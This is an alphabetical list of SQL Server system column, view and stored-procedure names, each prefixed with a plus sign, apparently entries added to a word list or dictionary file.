+PrefixBytes +prepare_elapsed_time +prepare_lsn +prerelease +prev_error +previous_block_hash +previous_page_file_id +previous_page_page_id +previous_status +previous_status_description +previous_value +prev_page_file_id +prev_page_page_id +prev_row_in_chain +primary_dictionary_id +primary_recovery_health +primary_recovery_health_desc +primary_replica +primary_role_allow_connections +primary_role_allow_connections_desc +princid +principal_id +principal_name +principal_server_name +printfmt +priority +priority_id +priority_score +private_build +private_bytes +private_pages +private_pool_hits +private_pool_hit_search_length +private_pool_hits_RA +private_pool_hits_search_length_RA +private_pool_last_access_point +private_pool_last_RA_access_point +private_pool_misses +private_pool_misses_RA +private_pool_miss_search_length +private_pool_miss_search_length_RA +private_pool_pages +private_pool_size +privileged_time +PRIVILEGE_TYPE +probability_of_reuse +procedure_name +procedure_number +procedures +processadmin +process_content +process_content_desc +process_cpu_usage +processed_row_count +process_id +process_kernel_time_ms +process_memory_limit_mb +process_name +processor_group +processor_time +process_physical_affinity +process_physical_memory_low +process_user_time_ms +process_virtual_memory_low +proc_ioblocked_cnt +proc_runable_cnt +producer_id +producer_type +product +product_version +prog_id +program_name +progress +progress_category +promise_avg +promised +promise_total +properties +property +property_description +property_id +property_int_id +property_list_id +property_name +property_set_guid +property_value +protecttype +protocol +protocol_desc +protocol_type +protocol_version +provider +provider_id +providername +ProviderName +provider_string +providerstring +provider_type +provider_version +proxy_id +pruid +psrv +pstat +pub +public_key +pukey +pushdown +push_enabled +pvs_filegroup_id +pvs_off_row_page_skipped_low_water_mark +pvs_off_row_page_skipped_min_useful_xts +pvs_off_row_page_skipped_oldest_active_xdesid +pvs_off_row_page_skipped_oldest_snapshot +pvs_off_row_page_skipped_transaction_not_cleaned +pvt_key_encryption_type +pvt_key_encryption_type_desc +pvt_key_last_backup_date +pwdhash +qe_cc_address +qid +qual +quality +quantum_length_us +quantum_used +query_capture_mode +query_capture_mode_desc +query_context_settings +query_cost +query_count +query_driver_address +query_execution_timeout_sec +query_flags +query_hash +query_hint_failure_count +query_hint_id +query_hints +query_hints_flags +query_hint_text +query_id +query_info +QueryNotificationErrorsQueue +query_parameterization_type +query_parameterization_type_desc +query_param_type +query_plan +query_plan_hash +queryscan_address +query_sql_text +query_store_plan +query_store_query +query_store_query_hints +query_store_query_text +query_store_runtime_stats +query_store_runtime_stats_interval +query_store_wait_stats +query_template +query_template_flags +query_template_hash +query_template_id +query_text +query_text_id +query_time +query_timeout +querytimeout +query_wait_timeout_sec +queue_delay +queued_loads +queued_population_type +queued_population_type_description +queued_request_count +queued_requests +queue_id +queue_length +queue_max_len +queue_messages_1003150619 +queue_messages_1035150733 +queue_messages_1067150847 +queue_size +queuing_order +quorum_commit_lsn +quorum_commit_time +quorum_state +quorum_state_desc +quorum_type +quorum_type_desc +quoted_identifier +range_count +range_high_key +range_rows +range_scan_count +rank +rank_desc +rcmodified +rcrows +rcvfrag +rcvseq +reached_end +read_access +read_ahead_count +read_ahead_distance +read_ahead_done +read_ahead_target +read_bytes_total +read_command +read_count +reader_spid +read_io_completed_total +read_io_count +read_io_issued_total +read_io_queued_total +read_io_stall_queued_ms +read_io_stall_total_ms +read_io_throttled_total +read_location +read_microsec +readobj +readonlybaselsn +read_only_count +read_only_lsn +readonlylsn +readonly_reason +read_only_replica_id +read_only_routing_url +read_operation_count +reads +Reads +reads_completed +read_set_row_count +reads_merged +read_time_ms +read_version +read_write_lsn +readwritelsn +read_write_routing_url +real +reason +reason_desc +re_awcName +rebind_count +re_bitpos +re_ccName +received_time +receive_sequence +receive_sequence_frag +receives_posted +re_colattr +re_colid +re_collatid +re_computed +record +record_count +record_image_first_part +record_image_second_part +record_length_first_part_in_bytes +record_length_second_part_in_bytes +recovery_checkpoint_id +recovery_checkpoint_ts +recovery_fork_guid +recovery_health +recovery_health_desc +recovery_lsn +recovery_lsn_candidate +recovery_model +recovery_model_desc +recovery_unit_id +recovery_vlf_count +recv_bytes +recv_compressed +recv_drops +recv_errors +recv_fifo +recv_frame +recv_multicast +recv_packets +redo_queue_size +redo_rate +redo_start_fork_guid +redostartforkguid +redo_start_lsn +redostartlsn +redo_target_fork_guid +redo_target_lsn +redotargetlsn +reduce_progress +refadd +re_fAnsiTrim +refcount +ref_counter +refcounts +refdate +reference_count +referenced_assembly_id +referenced_class +referenced_class_desc +referenced_column_id +referenced_database_name +referenced_entity_name +referenced_id +referenced_major_id +referenced_minor_id +referenced_minor_name +referenced_object_id +referenced_schema_name +referenced_server_name +reference_name +referencing_class +referencing_class_desc +referencing_entity_name +referencing_id +referencing_minor_id +referencing_schema_name +REFERENTIAL_CONSTRAINTS +refkeys +refmod +re_fNullable +regenerate_date +region +region_allocation_base_address +region_allocation_protection +region_base_address +region_current_protection +region_size_in_bytes +region_state +region_type +register_date +registered_by +registered_search_properties +registered_search_property_lists +registry_key +regular_buffer_size +rejected_row_location +rejected_rows_path +reject_sample_value +reject_type +reject_value +relative_file_path +relative_path +remaining_file_name +re_maxlen +remote_data_archive_databases +remote_data_archive_tables +remote_database_id +remote_database_name +remote_hit +remote_logins +remote_machine_name +remote_name +remote_node +remote_object_name +remote_physical_seeding_id +remote_principal_id +remote_schema_name +remoteserverid +remote_service_binding_id +remote_service_bindings +remote_service_name +remote_table_name +remote_user_name +remoteusername +removal_time +removed_all_rounds_count +removed_in_all_rounds_count +removed_last_round_count +remsvc +re_numcols +re_numtextcols +re_offset +replica_id +replica_metadata_id +replica_name +replica_server_name +replinfo +re_prec +req_cryrefcnt +req_ecid +req_lifetime +req_mode +req_ownertype +req_refcnt +req_spid +req_status +req_transactionID +req_transactionUOW +request_context_address +request_count +requested_memory_kb +request_exec_context_id +request_id +RequestID +request_lifetime +request_max_cpu_time_sec +request_max_memory_grant_percent +request_max_memory_grant_percent_numeric +request_max_resource_grant_percent +request_memory_grant_timeout_sec +request_min_resource_grant_percent +request_mode +request_owner_guid +request_owner_id +request_owner_lockspace_id +request_owner_type +request_reference_count +request_request_id +request_session_id +request_state +request_status +request_time +request_type +required_cursor_options +required_memory_kb +required_synchronized_secondaries_to_commit +re_scale +re_schema_lsn_begin +re_schema_lsn_end +reserved +reserved2 +reserved3 +reserved4 +reserved_bytes +reserved_bytes_by_xdes_id +reserved_io_limited_by_volume_total +reserve_disk_space +reserved_node_bitmap +reserved_page_count +reserved_space_kb +reserved_storage_mb +reserved_worker_count +resource_address +resource_allocation_percentage +resource_associated_entity_id +resource_class +resource_database_id +resource_description +resource_governor_configuration +resource_governor_external_resource_pool_affinity +resource_governor_external_resource_pools +resource_governor_resource_pool_affinity +resource_governor_resource_pools +resource_governor_workload_groups +resource_group_id +resource_id +resource_lock_partition +resource_manager_ack_received +resource_manager_database +resource_manager_dbid +resource_manager_diag_status +resource_manager_id +resource_manager_location +resource_manager_prepare_lsn +resource_manager_server +resource_manager_state +resource_monitor_state +resource_name +resource_phase_1_time +resource_phase_2_time +resource_pool_id +resource_prepare_lsn +resource_semaphore_id +resource_subtype +resource_type +response_rows +result +result_cache_hit +result_desc +result_format +result_format_desc +resultlimit +resultobj +result_schema +result_schema_desc +retention_days +retention_period +retention_period_units +retention_period_units_desc +retired_row_count +retired_transaction_count +retries_attempted +retry_attempts +retry_count +retry_hints +retry_hints_description +retry_interval +return_code +returned_aggregate_count +returned_group_count +returned_row_count +revert_action_duration +revert_action_initiated_by +revert_action_initiated_time +revert_action_start_time +revision +rewind_count +re_xvtype +right_boundary +ring_buffer_address +ring_buffer_type +rkey +rkey1 +rkey10 +rkey11 +rkey12 +rkey13 +rkey14 +rkey15 +rkey16 +rkey2 +rkey3 +rkey4 +rkey5 +rkey6 +rkey7 +rkey8 +rkey9 +rkeydbid +rkeyid +rkeyindid +rmtloginame +rmtpassword +rmtsrvid +role +role_desc +RoleName +role_principal_id +roles +rolesequence +role_sequence_number +root +root_page +rounds_count +round_start_time +route_id +routes +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COLUMNS +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +routing_priority +row_address +rowcnt +row_count +row_count_in_thousands +RowCounts +row_delete_attempts +RowFlags +row_group_id +row_group_lock_count +row_group_lock_wait_count +row_group_lock_wait_in_ms +row_group_quality +row_insert_attempts +row_lock_count +row_lock_wait_count +row_lock_wait_in_ms +rowmodctr +row_overflow_fetch_in_bytes +row_overflow_fetch_in_pages +row_overflow_reserved_page_count +row_overflow_used_page_count +rows +rowset +rowset_id +rowsetid +RowsetId +rowsetid_delete +rowsetid_insert +rowsetnum +rows_examined +rows_expired +rows_expired_removed +rows_expiring +rows_first_in_bucket +rows_first_in_bucket_removed +rows_handled +rows_inserted +rows_marked_for_unlink +rows_no_sweep_needed +rows_processed +rows_rejected +rows_returned +rows_sampled +rows_touched +row_terminator +row_update_attempts +row_version +rpc +rpcout +rsc_bin +rsc_dbid +rsc_flag +rsc_indid +rsc_objid +rscolid +rsc_text +rsc_type +rsc_valblk +rsguid +rsid +rsndtime +rule_object_id +run_date +run_duration +run_id +runnable_tasks_count +run_status +run_time +runtime_stats_id +runtime_stats_interval_id +safety +safety_level +safety_level_desc +safetysequence +safety_sequence_number +sample_ms +savepoint_create +savepoint_garbage_count +savepoint_refreshes +savepoint_rollbacks +scale +scan_area +scan_area_desc +scan_count +scan_direction +scan_location +scan_phase +scan_set_count +scans_retried +scans_retries +scans_started +scan_status +scheduler_address +scheduler_count +scheduler_id +scheduler_mask +scheduler_total_count +schema_change_count +schemadate +schema_id +SCHEMA_LEVEL_ROUTINE +schema_name +SCHEMA_NAME +SCHEMA_OWNER +schemas +SCHEMATA +schema_ver +schid +scid +scope +scope_batch +SCOPE_CATALOG +scope_desc +scope_id +scopeid +SCOPE_NAME +scope_object_id +SCOPE_SCHEMA +scope_type +scopetype +scope_type_desc +scoping_xml_component_id +score +script_id +script_level +script_name +scrollable +se_bitpos +se_colid +se_collatid +se_computed +secondary_dictionary_id +secondary_lag_seconds +secondary_low_water_mark +secondary_recovery_health +secondary_recovery_health_desc +secondary_role_allow_connections +secondary_role_allow_connections_desc +secondary_type +secondary_type_desc +sectors_read +sectors_written +securable_class_desc +securable_classes +securityadmin +security_id +security_policies +security_predicate_id +security_predicates +security_timestamp +sec_version_rid +seeding_mode +seeding_mode_desc +seed_value +se_fAnsiTrim +se_fNullable +segid +segmap +segment_bytes_dispatched +segment_id +segment_read_count +segment_skip_count +seladd +selall +selective_xml_index_namespaces +selective_xml_index_paths +self_address +selmod +seltrig +se_maxlen +sendseq +send_sequence +sends_posted +sendxact +sensitivity +sensitivity_classifications +sent_time +se_nullBitInLeafRows +se_numcols +se_offset +se_prec +seq_num +SEQUENCE_CATALOG +sequence_group_id +SEQUENCE_NAME +sequence_num +sequence_number +sequences +SEQUENCES +SEQUENCE_SCHEMA +sequence_value +serde_method +serializer_kernel_time_in_ms +serializer_user_time_in_ms +se_rowsetid +server +serveradmin +server_assembly_modules +server_audits +server_audit_specification_details +server_audit_specifications +server_event_notifications +server_events +server_event_session_actions +server_event_session_events +server_event_session_fields +server_event_sessions +server_event_session_targets +server_file_audits +server_id +server_instance_name +server_len_in_bytes +server_memory_optimized_hybrid_buffer_pool_configuration +server_name +ServerName +server_permissions +server_principal_credentials +server_principal_id +server_principal_name +server_principals +server_principal_sid +server_role_members +servers +server_specification_id +server_sql_modules +server_trigger_events +server_triggers +service_account +service_broker_endpoints +service_broker_guid +ServiceBrokerQueue +service_contract_id +service_contract_message_usages +service_contract_name +service_contracts +service_contract_usages +service_id +service_message_types +service_name +servicename +service_queue_id +service_queues +service_queue_usages +services +se_scale +se_schema_lsn_begin +se_schema_lsn_end +session_context +session_context_keys +session_handle +session_id +SessionLoginName +session_phase +session_server_principal_name +session_source +session_timeout +set_date +set_options +setopts +setupadmin +severity +Severity +se_xvtype +sgam_page_id +sgam_status +sgam_status_desc +sharding_col_id +sharding_dist_type +shard_map_manager_db +shard_map_name +shared +share_delete +shared_memory_committed_kb +shared_memory_reserved_kb +shared_pool_size +share_intention +share_read +share_write +shortmonths +shutdown_time +sid +sigma_blocks_ahead +signal_time +signal_wait_time_ms +signal_worker_address +signature +similarity_index_page_count +simulated_kb +simulation_benefit +singleton_lookup_count +site +size +size_based_cleanup_mode +size_based_cleanup_mode_desc +sizeclass_count +size_in_bytes +size_on_disk_bytes +sizepg +skips_repl_constraints +sku +sleep_time +slot_count +slot_id +smalldatetime +smallint +smallmoney +snapshot_id +snapshot_isolation_state +snapshot_isolation_state_desc +snapshot_sequence_num +snapshot_time +snapshot_timestamp +snapshot_url +sni_error_address +snum +soap_endpoints +socket_count +softirq_time_cs +softnuma_configuration +softnuma_configuration_desc +sos_task_address +source +source_column +source_compute +source_createparams +source_database +source_database_id +SourceDatabaseID +source_database_name +source_dbms +source_desc +source_distribution_id +source_file +source_info +source_length_max +source_length_min +source_nullable +source_precision_max +source_precision_min +source_props +source_query_text +source_scale_max +source_scale_min +source_schema +source_schema_name +source_server +source_table +source_table_id +source_table_name +source_term +source_type +source_version +spacelimit +sp_add_agent_parameter +sp_add_agent_profile +sp_addapprole +sp_addarticle +sp_add_columnstore_column_dictionary +sp_add_data_file_recover_suspect_db +sp_adddatatype +sp_adddatatypemapping +sp_adddistpublisher +sp_adddistributiondb +sp_adddistributor +sp_adddynamicsnapshot_job +sp_addextendedproc +sp_addextendedproperty +sp_AddFunctionalUnitToComponent +sp_addlinkedserver +sp_addlinkedsrvlogin +sp_add_log_file_recover_suspect_db +sp_addlogin +sp_addlogreader_agent +sp_add_log_shipping_alert_job +sp_add_log_shipping_primary_database +sp_add_log_shipping_primary_secondary +sp_add_log_shipping_secondary_database +sp_add_log_shipping_secondary_primary +sp_addmergealternatepublisher +sp_addmergearticle +sp_addmergefilter +sp_addmergelogsettings +sp_addmergepartition +sp_addmergepublication +sp_addmergepullsubscription +sp_addmergepullsubscription_agent +sp_addmergepushsubscription_agent +sp_addmergesubscription +sp_addmessage +sp_addpublication +sp_addpublication_snapshot +sp_addpullsubscription +sp_addpullsubscription_agent +sp_addpushsubscription_agent +sp_addqreader_agent +sp_addqueued_artinfo +sp_addremotelogin +sp_addrole +sp_addrolemember +sp_addscriptexec +sp_addserver +sp_addsrvrolemember +sp_addsubscriber +sp_addsubscriber_schedule +sp_addsubscription +sp_addsynctriggers +sp_addsynctriggerscore +sp_addtabletocontents +sp_add_trusted_assembly +sp_addtype +sp_addumpdevice +sp_adduser +sp_adjustpublisheridentityrange +sp_altermessage +sp_alter_nt_job_mem_configs +sp_approlepassword +spare1 +sp_articlecolumn +sp_articlefilter +sp_article_validation +sp_articleview +sp_assemblies_rowset +sp_assemblies_rowset2 +sp_assemblies_rowset_rmt +sp_assembly_dependencies_rowset +sp_assembly_dependencies_rowset2 +sp_assembly_dependencies_rowset_rmt +spatial_indexes +spatial_index_tessellations +spatial_index_type +spatial_index_type_desc +spatial_reference_id +spatial_reference_systems +sp_attach_db +sp_attach_single_file_db +sp_attachsubscription +sp_audit_write +sp_autoindex_cancel_dta +sp_autoindex_invoke_dta +sp_autostats +sp_availability_group_command_internal +sp_bcp_dbcmptlevel +sp_begin_parallel_nested_tran +sp_bindefault +sp_bindrule +sp_bindsession +sp_browsemergesnapshotfolder +sp_browsereplcmds +sp_browsesnapshotfolder +sp_build_histogram +sp_can_tlog_be_applied +sp_catalogs +sp_catalogs_rowset +sp_catalogs_rowset2 +sp_catalogs_rowset_rmt +sp_cdc_add_job +sp_cdc_change_job +sp_cdc_cleanup_change_table +sp_cdc_dbsnapshotLSN +sp_cdc_disable_db +sp_cdc_disable_table +sp_cdc_drop_job +sp_cdc_enable_db +sp_cdc_enable_table +sp_cdc_generate_wrapper_function +sp_cdc_get_captured_columns +sp_cdc_get_ddl_history +sp_cdc_help_change_data_capture +sp_cdc_help_jobs +sp_cdc_restoredb +sp_cdc_scan +sp_cdc_start_job +sp_cdc_stop_job +sp_cdc_vupgrade +sp_cdc_vupgrade_databases +sp_certify_removable +sp_change_agent_parameter +sp_change_agent_profile +sp_changearticle +sp_changearticlecolumndatatype +sp_changedbowner +sp_changedistpublisher +sp_changedistributiondb +sp_changedistributor_password +sp_changedistributor_property +sp_changedynamicsnapshot_job +sp_changelogreader_agent +sp_change_log_shipping_primary_database +sp_change_log_shipping_secondary_database +sp_change_log_shipping_secondary_primary +sp_changemergearticle +sp_changemergefilter +sp_changemergelogsettings +sp_changemergepublication +sp_changemergepullsubscription +sp_changemergesubscription +sp_changeobjectowner +sp_changepublication +sp_changepublication_snapshot +sp_changeqreader_agent +sp_changereplicationserverpasswords +sp_change_repl_serverport +sp_changesubscriber +sp_changesubscriber_schedule +sp_changesubscription +sp_changesubscriptiondtsinfo +sp_change_subscription_properties +sp_changesubstatus +sp_change_tracking_waitforchanges +sp_change_users_login +sp_check_constbytable_rowset +sp_check_constbytable_rowset2 +sp_check_constraints_rowset +sp_check_constraints_rowset2 +sp_check_dynamic_filters +sp_check_for_sync_trigger +sp_checkinvalidivarticle +sp_check_join_filter +sp_check_log_shipping_monitor_alert +sp_checkOraclepackageversion +sp_check_publication_access +sp_check_removable +sp_check_subset_filter +sp_check_sync_trigger +sp_clean_db_file_free_space +sp_clean_db_free_space +sp_cleanmergelogfiles +sp_cleanup_all_openrowset_statistics +sp_cleanup_all_user_data_in_master +sp_cleanup_data_retention +sp_cleanupdbreplication +sp_cleanup_log_shipping_history +sp_cleanup_temporal_history +sp_cloud_update_blob_tier +sp_collect_backend_plan +sp_column_privileges +sp_column_privileges_ex +sp_column_privileges_rowset +sp_column_privileges_rowset2 +sp_column_privileges_rowset_rmt +sp_columns +sp_columns_100 +sp_columns_100_rowset +sp_columns_100_rowset2 +sp_columns_90 +sp_columns_90_rowset +sp_columns_90_rowset2 +sp_columns_90_rowset_rmt +sp_columns_ex +sp_columns_ex_100 +sp_columns_ex_90 +sp_columns_managed +sp_columns_rowset +sp_columns_rowset2 +sp_columns_rowset_rmt +sp_commit_parallel_nested_tran +sp_configure +sp_configure_automatic_tuning +sp_configure_peerconflictdetection +sp_constr_col_usage_rowset +sp_constr_col_usage_rowset2 +sp_control_dbmasterkey_password +sp_control_plan_guide +sp_copymergesnapshot +sp_copysnapshot +sp_copysubscription +sp_create_asymmetric_key_from_external_key +sp_create_format_type +sp_createmergepalrole +sp_create_openrowset_statistics +sp_createorphan +sp_create_plan_guide +sp_create_plan_guide_from_handle +sp_create_removable +sp_createstats +sp_create_streaming_job +sp_createtranpalrole +sp_cursor +sp_cursorclose +sp_cursorexecute +sp_cursorfetch +sp_cursor_list +sp_cursoropen +sp_cursoroption +sp_cursorprepare +sp_cursorprepexec +sp_cursorunprepare +sp_cycle_errorlog +sp_databases +sp_data_pool_database_query_state +sp_data_pool_table_query_state +sp_data_source_objects +sp_data_source_table_columns +sp_datatype_info +sp_datatype_info_100 +sp_datatype_info_90 +sp_dbcmptlevel +sp_db_ebcdic277_2 +sp_dbfixedrolepermission +sp_db_increased_partitions +sp_dbmmonitoraddmonitoring +sp_dbmmonitorchangealert +sp_dbmmonitorchangemonitoring +sp_dbmmonitordropalert +sp_dbmmonitordropmonitoring +sp_dbmmonitorhelpalert +sp_dbmmonitorhelpmonitoring +sp_dbmmonitorresults +sp_dbmmonitorupdate +sp_dbremove +sp_db_selective_xml_index +sp_db_vardecimal_storage_format +sp_ddopen +sp_defaultdb +sp_defaultlanguage +sp_delete_backup +sp_delete_backup_file_snapshot +sp_delete_http_namespace_reservation +sp_delete_log_shipping_alert_job +sp_delete_log_shipping_primary_database +sp_delete_log_shipping_primary_secondary +sp_delete_log_shipping_secondary_database +sp_delete_log_shipping_secondary_primary +sp_deletemergeconflictrow +sp_deletepeerrequesthistory +sp_deletetracertokenhistory +sp_denylogin +sp_depends +sp_describe_cursor +sp_describe_cursor_columns +sp_describe_cursor_tables +sp_describe_first_result_set +sp_describe_parameter_encryption +sp_describe_undeclared_parameters +sp_detach_db +sp_diagnostic_showplan_log_dbid +sp_disableagentoffload +sp_distcounters +sp_drop_agent_parameter +sp_drop_agent_profile +sp_dropanonymousagent +sp_dropanonymoussubscription +sp_dropapprole +sp_droparticle +sp_dropdatatypemapping +sp_dropdevice +sp_dropdistpublisher +sp_dropdistributiondb +sp_dropdistributor +sp_dropdynamicsnapshot_job +sp_dropextendedproc +sp_dropextendedproperty +sp_drop_format_type +sp_droplinkedsrvlogin +sp_droplogin +sp_dropmergealternatepublisher +sp_dropmergearticle +sp_dropmergefilter +sp_dropmergelogsettings +sp_dropmergepartition +sp_dropmergepublication +sp_dropmergepullsubscription +sp_dropmergesubscription +sp_dropmessage +sp_drop_openrowset_statistics +sp_droporphans +sp_droppublication +sp_droppublisher +sp_droppullsubscription +sp_dropremotelogin +sp_dropreplsymmetrickey +sp_droprole +sp_droprolemember +sp_dropserver +sp_dropsrvrolemember +sp_drop_streaming_job +sp_dropsubscriber +sp_dropsubscription +sp_drop_trusted_assembly +sp_droptype +sp_dropuser +sp_dsninfo +special_build +special_term +SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +sp_enableagentoffload +sp_enable_heterogeneous_subscription +sp_enable_sql_debug +sp_enclave_send_keys +sp_enumcustomresolvers +sp_enumdsn +sp_enumeratependingschemachanges +sp_enumerrorlogs +sp_enumfullsubscribers +sp_enumoledbdatasources +sp_enum_oledb_providers +sp_estimate_data_compression_savings +sp_estimated_rowsize_reduction_for_vardecimal +sp_execute +sp_execute_external_script +sp_execute_remote +sp_executesql +sp_executesql_metrics +sp_expired_subscription_cleanup +sp_fido_build_basic_histogram +sp_fido_build_histogram +sp_fido_get_glm_server_update_lock +sp_fido_glms_execute_command +sp_fido_glms_set_storage_containers +sp_fido_glms_unregister_appname +sp_fido_indexstore_update_topology +sp_fido_remove_retention_policy +sp_fido_set_ddl_step +sp_fido_set_retention_policy +sp_fido_set_tran +sp_fido_setup_endpoints +sp_fido_setup_glms +sp_fido_tran_abort +sp_fido_tran_begin +sp_fido_tran_commit +sp_fido_tran_get_state +sp_fido_tran_set_token +sp_filestream_force_garbage_collection +sp_filestream_recalculate_container_size +sp_firstonly_bitmap +sp_fkeys +sp_flush_commit_table +sp_flush_commit_table_on_demand +sp_flush_CT_internal_table_on_demand +sp_flush_ledger_transactions_table +sp_flush_log +sp_force_slog_truncation +sp_foreignkeys +sp_foreign_keys_rowset +sp_foreign_keys_rowset2 +sp_foreign_keys_rowset3 +sp_foreign_keys_rowset_rmt +sp_fulltext_catalog +sp_fulltext_column +sp_fulltext_database +sp_fulltext_getdata +sp_fulltext_keymappings +sp_fulltext_load_thesaurus_file +sp_fulltext_pendingchanges +sp_fulltext_recycle_crawl_log +sp_fulltext_semantic_register_language_statistics_db +sp_fulltext_semantic_unregister_language_statistics_db +sp_fulltext_service +sp_fulltext_table +sp_FuzzyLookupTableMaintenanceInstall +sp_FuzzyLookupTableMaintenanceInvoke +sp_FuzzyLookupTableMaintenanceUninstall +sp_generate_agent_parameter +sp_generate_database_ledger_digest +sp_generatefilters +sp_generate_openrowset_statistics_props +sp_getagentparameterlist +sp_getapplock +sp_getbindtoken +sp_get_database_scoped_credential +sp_getdefaultdatatypemapping +sp_get_distributor +sp_getdistributorplatform +sp_get_dmv_collector_views +sp_get_fido_lock +sp_get_fido_lock_batch +sp_get_file_splits +sp_get_job_status_mergesubscription_agent +sp_getmergedeletetype +sp_get_mergepublishedarticleproperties +sp_get_migration_vlf_state +sp_get_openrowset_statistics_additional_props +sp_get_openrowset_statistics_cardinality +sp_get_Oracle_publisher_metadata +sp_getProcessorUsage +sp_getpublisherlink +sp_get_query_template +sp_getqueuedarticlesynctraninfo +sp_getqueuedrows +sp_get_redirected_publisher +sp_getschemalock +sp_getsqlqueueversion +sp_get_streaming_job +sp_getsubscriptiondtspackagename +sp_getsubscription_status_hsnapshot +sp_gettopologyinfo +sp_get_total_openrowset_statistics_count +sp_getVolumeFreeSpace +sp_grantdbaccess +sp_grantlogin +sp_grant_publication_access +sp_help +sp_help_agent_default +sp_help_agent_parameter +sp_help_agent_profile +sp_helpallowmerge_publication +sp_helparticle +sp_helparticlecolumns +sp_helparticledts +sp_helpconstraint +sp_helpdatatypemap +sp_help_datatype_mapping +sp_helpdb +sp_helpdbfixedrole +sp_helpdevice +sp_helpdistpublisher +sp_helpdistributiondb +sp_helpdistributor +sp_helpdistributor_properties +sp_helpdynamicsnapshot_job +sp_helpextendedproc +sp_helpfile +sp_helpfilegroup +sp_help_fulltext_catalog_components +sp_help_fulltext_catalogs +sp_help_fulltext_catalogs_cursor +sp_help_fulltext_columns +sp_help_fulltext_columns_cursor +sp_help_fulltext_system_components +sp_help_fulltext_tables +sp_help_fulltext_tables_cursor +sp_helpindex +sp_helplanguage +sp_helplinkedsrvlogin +sp_helplogins +sp_helplogreader_agent +sp_help_log_shipping_alert_job +sp_help_log_shipping_monitor +sp_help_log_shipping_monitor_primary +sp_help_log_shipping_monitor_secondary +sp_help_log_shipping_primary_database +sp_help_log_shipping_primary_secondary +sp_help_log_shipping_secondary_database +sp_help_log_shipping_secondary_primary +sp_helpmergealternatepublisher +sp_helpmergearticle +sp_helpmergearticlecolumn +sp_helpmergearticleconflicts +sp_helpmergeconflictrows +sp_helpmergedeleteconflictrows +sp_helpmergefilter +sp_helpmergelogfiles +sp_helpmergelogfileswithdata +sp_helpmergelogsettings +sp_helpmergepartition +sp_helpmergepublication +sp_helpmergepullsubscription +sp_helpmergesubscription +sp_helpntgroup +sp_help_peerconflictdetection +sp_helppeerrequests +sp_helppeerresponses +sp_helppublication +sp_help_publication_access +sp_helppublication_snapshot +sp_helppublicationsync +sp_helppullsubscription +sp_helpqreader_agent +sp_helpremotelogin +sp_helpreplfailovermode +sp_helpreplicationdb +sp_helpreplicationdboption +sp_helpreplicationoption +sp_helprole +sp_helprolemember +sp_helprotect +sp_helpserver +sp_helpsort +sp_help_spatial_geography_histogram +sp_help_spatial_geography_index +sp_help_spatial_geography_index_xml +sp_help_spatial_geometry_histogram +sp_help_spatial_geometry_index +sp_help_spatial_geometry_index_xml +sp_helpsrvrole +sp_helpsrvrolemember +sp_helpstats +sp_helpsubscriberinfo +sp_helpsubscription +sp_helpsubscriptionerrors +sp_helpsubscription_properties +sp_helptext +sp_helptracertokenhistory +sp_helptracertokens +sp_helptrigger +sp_helpuser +sp_helpxactsetjob +sp_http_generate_wsdl_complex +sp_http_generate_wsdl_defaultcomplexorsimple +sp_http_generate_wsdl_defaultsimpleorcomplex +sp_http_generate_wsdl_simple +spid +SPID +sp_identitycolumnforreplication +sp_IHadd_sync_command +sp_IHarticlecolumn +sp_IHget_loopback_detection +sp_IH_LR_GetCacheData +sp_IHScriptIdxFile +sp_IHScriptSchFile +sp_IHValidateRowFilter +sp_IHXactSetJob +sp_indexcolumns_managed +sp_indexes +sp_indexes_100_rowset +sp_indexes_100_rowset2 +sp_indexes_90_rowset +sp_indexes_90_rowset2 +sp_indexes_90_rowset_rmt +sp_indexes_managed +sp_indexes_rowset +sp_indexes_rowset2 +sp_indexes_rowset_rmt +sp_indexoption +spins +spins_per_collision +sp_internal_alter_nt_job_limits +sp_invalidate_textptr +sp_is_columnstore_column_dictionary_enabled +sp_is_makegeneration_needed +sp_ivindexhasnullcols +sp_kill_filestream_non_transacted_handles +sp_kill_oldest_transaction_on_secondary +sp_ldw_apply_file_updates_for_ext_table +sp_ldw_get_file_updates_for_ext_table +sp_ldw_insert_container_and_partition_for_ext_table +sp_ldw_internal_tables_clean_up +sp_ldw_normalize_ext_tab_name +sp_ldw_refresh_internal_table_on_distribution +sp_ldw_select_entries_from_internal_table +sp_ldw_update_stats_for_ext_table +sp_lightweightmergemetadataretentioncleanup +sp_linkedservers +sp_linkedservers_rowset +sp_linkedservers_rowset2 +sp_link_publication +sp_lock +sp_logshippinginstallmetadata +sp_lookupcustomresolver +sp_mapdown_bitmap +sp_markpendingschemachange +sp_marksubscriptionvalidation +sp_memory_leak_detection +sp_memory_optimized_cs_migration +sp_mergearticlecolumn +sp_mergecleanupmetadata +sp_mergedummyupdate +sp_mergemetadataretentioncleanup +sp_mergesubscription_cleanup +sp_mergesubscriptionsummary +sp_metadata_sync_connector_add +sp_metadata_sync_connector_drop +sp_metadata_sync_connectors_status +sp_migrate_user_to_contained +sp_monitor +sp_MSacquireHeadofQueueLock +sp_MSacquireserverresourcefordynamicsnapshot +sp_MSacquireSlotLock +sp_MSacquiresnapshotdeliverysessionlock +sp_MSactivate_auto_sub +sp_MSactivatelogbasedarticleobject +sp_MSactivateprocedureexecutionarticleobject +sp_MSadd_anonymous_agent +sp_MSaddanonymousreplica +sp_MSadd_article +sp_MSadd_compensating_cmd +sp_MSadd_distribution_agent +sp_MSadd_distribution_history +sp_MSadddynamicsnapshotjobatdistributor +sp_MSadd_dynamic_snapshot_location +sp_MSadd_filteringcolumn +sp_MSaddguidcolumn +sp_MSaddguidindex +sp_MSaddinitialarticle +sp_MSaddinitialpublication +sp_MSaddinitialschemaarticle +sp_MSaddinitialsubscription +sp_MSaddlightweightmergearticle +sp_MSadd_logreader_agent +sp_MSadd_logreader_history +sp_MSadd_log_shipping_error_detail +sp_MSadd_log_shipping_history_detail +sp_MSadd_merge_agent +sp_MSadd_merge_anonymous_agent +sp_MSaddmergedynamicsnapshotjob +sp_MSadd_merge_history +sp_MSadd_merge_history90 +sp_MSadd_mergereplcommand +sp_MSadd_mergesubentry_indistdb +sp_MSadd_merge_subscription +sp_MSaddmergetriggers +sp_MSaddmergetriggers_from_template +sp_MSaddmergetriggers_internal +sp_MSaddpeerlsn +sp_MSadd_publication +sp_MSadd_qreader_agent +sp_MSadd_qreader_history +sp_MSadd_repl_alert +sp_MSadd_replcmds_mcit +sp_MSadd_repl_command +sp_MSadd_repl_commands27hp +sp_MSadd_repl_error 